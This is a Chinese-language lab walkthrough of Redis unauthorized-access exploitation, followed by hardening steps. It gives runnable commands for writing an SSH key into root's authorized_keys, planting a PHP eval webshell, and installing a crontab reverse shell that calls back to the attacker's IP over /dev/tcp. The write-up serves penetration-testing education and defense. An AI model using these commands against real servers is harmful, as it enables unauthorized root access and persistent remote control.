Redis 未授权访问与Get Shell漏洞
漏洞原理与危害
Redis默认情况下,会绑定在默认端口,如果没有采用相关策略,例如
①防火墙拦截非信任IP
②端口屏蔽
会将Redis服务器暴露在公网上,如果没有设置口令认证,会导致任意用户在访问目标服务器时能够未经授权便访问Redis以及其数据。利用Redis自身提供的config命令进行写文件操作,可以将自己的SSH公钥写入目标服务器的/root/.ssh文件夹的authotrized_keys文件中,进而可以使用对应私钥直接使用ssh服务登陆目标服务器;
利用条件:
①Redis绑定在默认端口,且没有安全策略;
②为设置口令认证;
漏洞危害:
①数据篡改;
②命令执行,备份数据,写入后门;
③SSH登录
环境配置
在靶机和攻击机上安装redis-3.2.11,步骤相同
1. wget http://download.redis.io/releases/redis-3.2.11.tar.gz
2. tar xzf redis-3.2.11.tar.gz
3. cd redis-3.2.11
4. make
接着就改一下redis.conf里的配置
- 将bind 127.0.0.1注释,允许远程连接;
- 将protected-mode yes 改为protected-mode no;
vim redis.conf
最后启动redis
1. cd src
2. ./redis-server /redis/redis-3.2.11/redis.conf
这样就完成了,攻击机的安装过程一致
注意事项
其中要注意开启服务之后可以用
ps -ef | grep redis
来查看正在运行redis的进程
如果遇到攻击机连接无响应,可以在靶机中杀死这个进程,再重启redis服务
kill -9 xxx
如果连接不上,可能是靶机开了防火墙
service iptables status //查看防火墙状态
service iptables start //开启防火墙
service iptables stop //关闭防火墙
未授权访问
./redis-cli -h 10.10.10.133
在redis安装目录的src文件夹中输入上面的语句来测试能否访问目标的redis
可以正常连接,接下来是SSH免密登录
SSH免密登录Get Shell
SSH登录原理简介
SSH提供了两种登陆验证方式:
1. 口令验证;
2. 密钥验证;
所谓的密钥验证就是一种基于公钥密码的认证,使用公钥加密、私钥解密;公钥是公开的,放在服务器端,可以把同一个公钥放在所有你想SSH远程登陆的服务器中。
大体的流程为:
1. 客户端生成私钥和公钥,把公钥拷贝到服务器;
2. 客户端发起登录请求,发送自己的相关信息;
3. 服务器端根据客户端发来的信息查找是否存有该客户端的公钥,如果没有则拒绝登录,如果有则生成一段随机数,并使用这个公钥加密后,发给客户端;
4. 客户端收到服务器发来的加密信息后用自己的私钥解密,并把解密后的结果发送给服务器;
5. 服务器端验证客户端发送的解密信息,与先前随机生成的数进行比对,如果一致则允许登录,如果不一致则拒绝;
复现过程
靶机IP 10.10.10.133
攻击机IP 10.10.10.128
1)靶机开启redis服务
./reids-server /etc/redis.conf
2)靶机创建SSH公钥存放目录
mkdir /root/.ssh //一般来说应该是已经存在这个目录了
3)攻击机生成SSH公钥和对应私钥,并设置密码为空
ssh-keygen -t rsa
4)进入.ssh目录,并将生成的公钥保存到文本文件中
cd .ssh/
(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>k1ose.txt
ls //验证是否成功
5)将文本文件将文件写入redis
cat k1ose.txt | /redis/redis-3.2.11/src/redis-cli -h 10.10.10.133 -x set crack //crack处可以任意填写
6)远程连接靶机的redis,并执行
1. /redis/redis-3.2.11/src/redis-cli -h 10.10.10.133
2. config set dir /root/.ssh //对redis的备份文件路径进行修改
3. config dbfilename authorized_keys //生成文件authorized_keys,将本地的私钥登入被植入公钥的ssh服务器
4. config get dbfilename //验证dbfilename是否为authorized_keys
5. save //保存
7)退出后,开启双方的ssh服务
1. service ssh start //kali开启ssh服务
2. service sshd start //centos6开启ssh服务
8)攻击机使用ssh免密连接靶机
ssh -i id_rsa root@10.10.10.133 //ssh -i 密钥 用户@IP
9)连接成功后使用
uname -a
whoami
进行验证
可以看到,已经成功get shell 了
WebShell写入
Webshell原理
通过写入执行命令getshell
复现过程
如果该网站还是一个web服务器,那么我们大胆猜测路径在/var/www/html下
连接上redis后,使用以下命令,将webshell写入到hack.php文件中
1. config set dir /var/www/html
2. config set dbfilename hack.php
3. set webshell "<?php echo @eval($_POST['k1ose']); ?>"
4. save
接着用菜刀/weevely连接即可;
Shell反弹
Shell反弹原理
通过crontab来执行命令反弹shell
复现过程
现在攻击机服务器上监听一个端口
nc -lvnp 6666
连接靶机redis,输入以下代码
1. ./redis-cli -h 10.10.10.133
2. set shell "\n*****bash -i >& /dev/tcp/10.10.10.128/6666 0>&1\n"
3. config set dir /var/spool/cron/
4. config set dbfilename root
5. save
需要等待一定时间才能得到反弹的shell
漏洞修补
- 通过配置rename-command CONFIG “” 来禁用一些命令,例如
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command CONFIG ""
rename-command EVAL ""
- 以低权限启动redis
- 修改redis.conf文件,给redis增加口令验证
requirepass mypassword
- 修改redis.conf文件,禁止对公网开放,将端口绑定到固定IP
bind 127.0.0.1
- 修改redis.conf文件,开启protected-mode
protected-mode yes
- 检查用户.ssh目录下是否已经存在非法的authorized_keys文件
总结
总的来说,这个漏洞是很难应用的,也很容易防范。